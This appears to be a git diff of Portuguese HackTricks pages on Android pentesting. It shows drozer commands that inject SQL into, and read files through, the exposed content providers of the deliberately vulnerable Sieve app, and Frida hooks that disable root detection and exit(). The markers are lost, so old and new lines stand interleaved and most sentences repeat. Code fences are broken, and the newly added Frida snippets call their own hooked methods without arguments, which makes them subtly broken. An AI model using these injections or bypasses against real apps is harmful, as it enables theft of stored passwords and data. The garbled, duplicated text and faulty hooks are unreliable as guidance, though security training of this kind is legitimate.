Os dados são **fornecidos de um aplicativo para outros** mediante solicitação por um componente conhecido como **provedor de conteúdo**. Essas solicitações são gerenciadas por meio dos métodos da classe **ContentResolver**. Os provedores de conteúdo podem armazenar seus dados em vários locais, como um **banco de dados**, **arquivos** ou em uma **rede**.
|
||||
|
||||
Ele deve ser declarado dentro do arquivo _Manifest.xml_. Exemplo:
|
||||
```markup
|
||||
No arquivo _Manifest.xml_, é necessária a declaração do provedor de conteúdo. Por exemplo:
|
||||
```xml
|
||||
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
|
||||
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
|
||||
</provider>
|
||||
```
|
||||
Neste caso, é necessário a permissão `READ_KEYS` para acessar `content://com.mwr.example.sieve.DBContentProvider/Keys`\
|
||||
(_Observe também que na próxima seção vamos acessar `/Keys/`, que não está protegido, isso porque o desenvolvedor se confundiu e protegeu `/Keys` mas declarou `/Keys/`_)
|
||||
Para acessar `content://com.mwr.example.sieve.DBContentProvider/Keys`, a permissão `READ_KEYS` é necessária. É interessante notar que o caminho `/Keys/` é acessível na seguinte seção, a qual não está protegida devido a um erro do desenvolvedor, que protegeu `/Keys` mas declarou `/Keys/`.
|
||||
|
||||
**Talvez você possa acessar dados privados ou explorar alguma vulnerabilidade (SQL Injection ou Path Traversal).**
|
||||
**Talvez seja possível acessar dados privados ou explorar alguma vulnerabilidade (SQL Injection ou Traversal de Caminho).**
|
||||
|
||||
## Obter informações de **provedores de conteúdo expostos**
|
||||
## Obter informações dos **provedores de conteúdo expostos**
|
||||
```
|
||||
dz> run app.provider.info -a com.mwr.example.sieve
|
||||
Package: com.mwr.example.sieve
|
||||
|
@ -53,9 +52,9 @@ Content Provider: com.mwr.example.sieve.FileBackupProvider
|
|||
Multiprocess Allowed: True
|
||||
Grant Uri Permissions: False
|
||||
```
|
||||
Podemos **reconstruir** parte dos **URIs** de conteúdo para acessar o **DBContentProvider**, pois sabemos que eles devem começar com "_content://_" e a informação obtida pelo Drozer dentro do Caminho: _/Keys_.
|
||||
É possível juntar como chegar ao **DBContentProvider** começando URIs com "_content://_". Esta abordagem é baseada em insights obtidos ao usar o Drozer, onde informações-chave foram localizadas no diretório _/Keys_.
|
||||
|
||||
O Drozer pode **adivinhar e tentar vários URIs**:
|
||||
O Drozer pode **adivinhar e tentar várias URIs**:
|
||||
```
|
||||
dz> run scanner.provider.finduris -a com.mwr.example.sieve
|
||||
Scanning com.mwr.example.sieve...
|
||||
|
@ -67,22 +66,22 @@ content://com.mwr.example.sieve.DBContentProvider/Keys/
|
|||
content://com.mwr.example.sieve.DBContentProvider/Passwords
|
||||
content://com.mwr.example.sieve.DBContentProvider/Passwords/
|
||||
```
|
||||
Você também deve verificar o **código do ContentProvider** para buscar por consultas:
|
||||
Deve também verificar o **código do ContentProvider** para procurar por consultas:
|
||||
|
||||
![](<../../../.gitbook/assets/image (121) (1) (1) (1).png>)
|
||||
|
||||
Além disso, se você não conseguir encontrar consultas completas, você pode **verificar quais nomes são declarados pelo ContentProvider** no método `onCreate`:
|
||||
Além disso, se não conseguir encontrar consultas completas, poderia **verificar quais nomes são declarados pelo ContentProvider** no método `onCreate`:
|
||||
|
||||
![](<../../../.gitbook/assets/image (186).png>)
|
||||
|
||||
A consulta será como: `content://nome.do.pacote.classe/nome_declarado`
|
||||
A consulta será assim: `content://nome.do.pacote.classe/nome_declarado`
|
||||
|
||||
## **Content Providers com Base de Dados**
|
||||
## **Provedores de Conteúdo com Banco de Dados**
|
||||
|
||||
Provavelmente a maioria dos Content Providers são usados como **interface** para um **banco de dados**. Portanto, se você conseguir acessá-lo, poderá ser capaz de **extrair, atualizar, inserir e deletar** informações.\
|
||||
Verifique se você pode **acessar informações sensíveis** ou tente alterá-las para **burlar mecanismos de autorização**.
|
||||
Provavelmente a maioria dos Provedores de Conteúdo são usados como **interface** para um **banco de dados**. Portanto, se você conseguir acessá-lo, poderá **extrair, atualizar, inserir e excluir** informações.\
|
||||
Verifique se consegue **acessar informações sensíveis** ou tente alterá-las para **burlar mecanismos de autorização**.
|
||||
|
||||
Ao verificar o código do Content Provider, **procure** também por **funções** com nomes como: _query, insert, update e delete_:
|
||||
Ao verificar o código do Provedor de Conteúdo, **procure** também por **funções** com nomes como: _query, insert, update e delete_:
|
||||
|
||||
![](<../../../.gitbook/assets/image (187).png>)
|
||||
|
||||
|
@ -90,7 +89,7 @@ Ao verificar o código do Content Provider, **procure** também por **funções*
|
|||
|
||||
Porque você será capaz de chamá-las
|
||||
|
||||
### Consultar conteúdo
|
||||
### Consulta de conteúdo
|
||||
```
|
||||
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
|
||||
_id: 1
|
||||
|
@ -102,17 +101,17 @@ email: incognitoguy50@gmail.com
|
|||
```
|
||||
### Inserir conteúdo
|
||||
|
||||
Ao consultar o banco de dados, você aprenderá o **nome das colunas**, então, você poderá inserir dados no DB:
|
||||
Ao consultar o banco de dados, você aprenderá o **nome das colunas**, então, poderá inserir dados no banco de dados:
|
||||
|
||||
![](<../../../.gitbook/assets/image (188) (1).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (189) (1).png>)
|
||||
|
||||
_Note que em inserir e atualizar você pode usar --string para indicar string, --double para indicar um double, --float, --integer, --long, --short, --boolean_
|
||||
_Observe que na inserção e atualização você pode usar --string para indicar string, --double para indicar um double, --float, --integer, --long, --short, --boolean_
|
||||
|
||||
### Atualizar conteúdo
|
||||
|
||||
Conhecendo o nome das colunas, você também poderá **modificar as entradas**:
|
||||
Sabendo o nome das colunas, você também pode **modificar as entradas**:
|
||||
|
||||
![](<../../../.gitbook/assets/image (190).png>)
|
||||
|
||||
|
@ -120,14 +119,14 @@ Conhecendo o nome das colunas, você também poderá **modificar as entradas**:
|
|||
|
||||
![](<../../../.gitbook/assets/image (191).png>)
|
||||
|
||||
### **Injeção SQL**
|
||||
### **Injeção de SQL**
|
||||
|
||||
É simples testar para injeção SQL **(SQLite)** manipulando os campos de **projeção** e **seleção** que são passados para o provedor de conteúdo.\
|
||||
É simples testar a injeção de SQL **(SQLite)** manipulando os **campos de projeção** e **seleção** que são passados para o provedor de conteúdo.\
|
||||
Ao consultar o Provedor de Conteúdo, existem 2 argumentos interessantes para buscar informações: _--selection_ e _--projection_:
|
||||
|
||||
![](<../../../.gitbook/assets/image (192) (1).png>)
|
||||
|
||||
Você pode tentar **abusar** desses **parâmetros** para testar injeções **SQL**:
|
||||
Você pode tentar **abusar** desses **parâmetros** para testar as **injeções de SQL**:
|
||||
```
|
||||
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
|
||||
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
|
||||
|
@ -160,9 +159,9 @@ android_metadata
|
|||
notes
|
||||
sqlite_sequence
|
||||
```
|
||||
## **Provedores de Conteúdo com Suporte a Sistema de Arquivos**
|
||||
## **Provedores de Conteúdo com Sistema de Arquivos**
|
||||
|
||||
Provedores de conteúdo também podem ser usados para **acessar arquivos:**
|
||||
Os provedores de conteúdo também podem ser usados para **acessar arquivos:**
|
||||
|
||||
![](<../../../.gitbook/assets/image (193).png>)
|
||||
|
||||
|
@ -173,14 +172,14 @@ Você pode ler arquivos do Provedor de Conteúdo
|
|||
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
|
||||
127.0.0.1 localhost
|
||||
```
|
||||
### **Path Traversal**
|
||||
### **Travessia de Caminho**
|
||||
|
||||
Se você pode acessar arquivos, pode tentar abusar de um Path Traversal (neste caso não é necessário, mas você pode tentar usar "_../_" e truques semelhantes).
|
||||
Se você pode acessar arquivos, você pode tentar abusar de uma Travessia de Caminho (neste caso, isso não é necessário, mas você pode tentar usar "_../_" e truques similares).
|
||||
```
|
||||
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
|
||||
127.0.0.1 localhost
|
||||
```
|
||||
**Descoberta automática de Path Traversal pelo Drozer**
|
||||
**Descoberta automática de Traversal de Caminho pelo Drozer**
|
||||
```
|
||||
dz> run scanner.provider.traversal -a com.mwr.example.sieve
|
||||
Scanning com.mwr.example.sieve...
|
||||
|
@ -190,19 +189,20 @@ content://com.mwr.example.sieve.FileBackupProvider
|
|||
```
|
||||
## Referências
|
||||
|
||||
* [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm)
|
||||
* [https://www.tutorialspoint.com/android/android\_content\_providers.htm](https://www.tutorialspoint.com/android/android\_content\_providers.htm)
|
||||
* [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
|
||||
* [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,44 +1,42 @@
|
|||
# Tutorial de Frida
|
||||
# Tutorial do Frida
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking da AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Dica para bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje mesmo e comece a ganhar recompensas de até **$100,000**!
|
||||
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma de **bug bounty premium criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Instalação
|
||||
|
||||
Instale as **ferramentas frida**:
|
||||
Instale as **ferramentas do frida**:
|
||||
```bash
|
||||
pip install frida-tools
|
||||
pip install frida
|
||||
```
|
||||
**Baixe e instale** no android o **frida server** ([Baixe a última versão](https://github.com/frida/frida/releases)).\
|
||||
Uma linha para reiniciar o adb em modo root, conectar-se a ele, fazer upload do frida-server, dar permissões de execução e executá-lo em segundo plano:
|
||||
**Baixe e instale** no Android o **servidor frida** ([Baixe a última versão](https://github.com/frida/frida/releases)).\
|
||||
Um comando para reiniciar o adb no modo root, conectar a ele, fazer upload do frida-server, dar permissões de execução e executá-lo em segundo plano:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
|
||||
```
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
**Verifique** se está **funcionando**:
|
||||
```
|
||||
```bash
|
||||
frida-ps -U #List packages and processes
|
||||
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
|
||||
|
@ -51,28 +49,27 @@ frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
|
|||
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
|
||||
**Código Fonte**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
|
||||
|
||||
Siga o [link para ler](frida-tutorial-1.md).
|
||||
**Siga o [link para ler](frida-tutorial-1.md).**
|
||||
|
||||
### [Tutorial 2](frida-tutorial-2.md)
|
||||
|
||||
**De**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Partes 2, 3 & 4)\
|
||||
**De**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Partes 2, 3 e 4)\
|
||||
**APKs e Código Fonte**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||
|
||||
Siga o [link para ler](frida-tutorial-2.md).
|
||||
**Siga o [link para ler.](frida-tutorial-2.md)**
|
||||
|
||||
### [Tutorial 3](owaspuncrackable-1.md)
|
||||
|
||||
**De**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
|
||||
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk)
|
||||
|
||||
Siga o [link para ler](owaspuncrackable-1.md).\
|
||||
**Você pode encontrar alguns scripts Frida incríveis aqui:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
**Siga o [link para ler](owaspuncrackable-1.md).**
|
||||
|
||||
**Você pode encontrar mais scripts incríveis do Frida aqui:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
|
||||
## Exemplos Rápidos
|
||||
|
||||
Aqui você pode encontrar as funcionalidades mais básicas e interessantes do Frida para fazer um script rápido:
|
||||
|
||||
### Chamando Frida da linha de comando
|
||||
### Chamando o Frida a partir da linha de comando
|
||||
```bash
|
||||
frida-ps -U
|
||||
|
||||
|
@ -85,7 +82,7 @@ frida -U --no-pause -l disableRoot.js -f owasp.mstg.uncrackable1
|
|||
#frozen so that the instrumentation can occur, and the automatically
|
||||
#continue execution with our modified code.
|
||||
```
|
||||
### Script Básico em Python
|
||||
### Script Python Básico
|
||||
```python
|
||||
import frida, sys
|
||||
|
||||
|
@ -96,9 +93,9 @@ print('[ * ] Running Frida Demo application')
|
|||
script.load()
|
||||
sys.stdin.read()
|
||||
```
|
||||
### Fazendo hook em funções sem parâmetros
|
||||
### Enganando funções sem parâmetros
|
||||
|
||||
Faça hook na função `a()` da classe `sg.vantagepoint.a.c`
|
||||
Engane a função `a()` da classe `sg.vantagepoint.a.c`
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
; rootcheck1.a.overload().implementation = function() {
|
||||
|
@ -108,14 +105,34 @@ return false;
|
|||
};
|
||||
});
|
||||
```
|
||||
Gancho java `exit()`
|
||||
Hook java `exit()`
|
||||
|
||||
Gancho em `exit()` do java
|
||||
```javascript
|
||||
var sysexit = Java.use("java.lang.System");
|
||||
sysexit.exit.overload("int").implementation = function(var_0) {
|
||||
send("java.lang.System.exit(I)V // We avoid exiting the application :)");
|
||||
};
|
||||
```
|
||||
Gancho MainActivity `.onStart()` & `.onCreate()`
|
||||
### Hook MainActivity `.onStart()` & `.onCreate()`
|
||||
|
||||
Para interceptar a chamada dos métodos `.onStart()` e `.onCreate()` da MainActivity, você pode usar o seguinte script Frida:
|
||||
|
||||
```javascript
|
||||
Java.perform(function() {
|
||||
var MainActivity = Java.use('com.example.MainActivity');
|
||||
|
||||
MainActivity.onStart.implementation = function() {
|
||||
console.log('onStart() foi chamado');
|
||||
this.onStart();
|
||||
};
|
||||
|
||||
MainActivity.onCreate.implementation = function() {
|
||||
console.log('onCreate() foi chamado');
|
||||
this.onCreate();
|
||||
};
|
||||
});
|
||||
```
|
||||
```javascript
|
||||
var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity");
|
||||
mainactivity.onStart.overload().implementation = function() {
|
||||
|
@ -127,7 +144,20 @@ send("MainActivity.onCreate() HIT!!!");
|
|||
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
|
||||
};
|
||||
```
|
||||
Hook android `.onCreate()`
|
||||
### Hook android `.onCreate()`
|
||||
|
||||
Para interceptar a chamada do método `.onCreate()` em um aplicativo Android, você pode usar o Frida. Abaixo está um exemplo de script Frida que pode ser usado para realizar essa ação:
|
||||
|
||||
```javascript
|
||||
Java.perform(function() {
|
||||
var Activity = Java.use('android.app.Activity');
|
||||
|
||||
Activity.onCreate.implementation = function() {
|
||||
console.log('onCreate() foi chamado');
|
||||
this.onCreate();
|
||||
};
|
||||
});
|
||||
```
|
||||
```javascript
|
||||
var activity = Java.use("android.app.Activity");
|
||||
activity.onCreate.overload("android.os.Bundle").implementation = function(var_0) {
|
||||
|
@ -135,9 +165,9 @@ send("Activity HIT!!!");
|
|||
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
|
||||
};
|
||||
```
|
||||
### Interceptando funções com parâmetros e recuperando o valor
|
||||
### Enganchando funções com parâmetros e recuperando o valor
|
||||
|
||||
Interceptando uma função de decodificação. Imprima a entrada, chame a função original para decodificar a entrada e, finalmente, imprima os dados em texto claro:
|
||||
Enganchando uma função de descriptografia. Imprimir a entrada, chamar a função original para descriptografar a entrada e, finalmente, imprimir os dados em texto simples:
|
||||
```javascript
|
||||
function getString(data){
|
||||
var ret = "";
|
||||
|
@ -162,9 +192,9 @@ send("Decrypted flag: " + flag);
|
|||
return ret; //[B
|
||||
};
|
||||
```
|
||||
### Interceptando funções e chamando-as com nossa entrada
|
||||
### Enganando funções e chamando-as com nossa entrada
|
||||
|
||||
Intercepte uma função que recebe uma string e chame-a com outra string (de [aqui](https://11x256.github.io/Frida-hooking-android-part-2/))
|
||||
Engane uma função que recebe uma string e a chame com outra string (de [aqui](https://11x256.github.io/Frida-hooking-android-part-2/))
|
||||
```javascript
|
||||
var string_class = Java.use("java.lang.String"); // get a JS wrapper for java's String class
|
||||
|
||||
|
@ -176,9 +206,9 @@ console.log("Return value: "+ret);
|
|||
return ret;
|
||||
};
|
||||
```
|
||||
### Obtendo um objeto já criado de uma classe
|
||||
### Obter um objeto de uma classe já criado
|
||||
|
||||
Se você deseja extrair algum atributo de um objeto criado, você pode usar isto.
|
||||
Se você deseja extrair algum atributo de um objeto criado, pode usar isso.
|
||||
|
||||
Neste exemplo, você verá como obter o objeto da classe my\_activity e como chamar a função .secret() que imprimirá um atributo privado do objeto:
|
||||
```javascript
|
||||
|
@ -190,29 +220,29 @@ console.log("Result of secret func: " + instance.secret());
|
|||
onComplete:function(){}
|
||||
});
|
||||
```
|
||||
## Outros tutoriais de Frida
|
||||
## Outros tutoriais do Frida
|
||||
|
||||
* [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
|
||||
* [Parte 1 da série de blogs Uso Avançado de Frida: Bibliotecas de Criptografia IOS](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
|
||||
* [Parte 1 da série de blogs sobre o uso avançado do Frida: Bibliotecas de Criptografia do IOS](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
|
||||
|
||||
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Dica para bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de bug bounty criada por hackers, para hackers! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje mesmo e comece a ganhar recompensas de até **$100,000**!
|
||||
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma premium de **recompensas por bugs criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda a hackear AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,33 +2,33 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em **carreira de hacking** e em hackear o inquebrável - **estamos contratando!** (_é necessário polonês fluente escrito e falado_).
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
**De**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
|
||||
**Este é um resumo do post**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
|
||||
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
|
||||
**Código Fonte**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
|
||||
|
||||
## Python
|
||||
|
||||
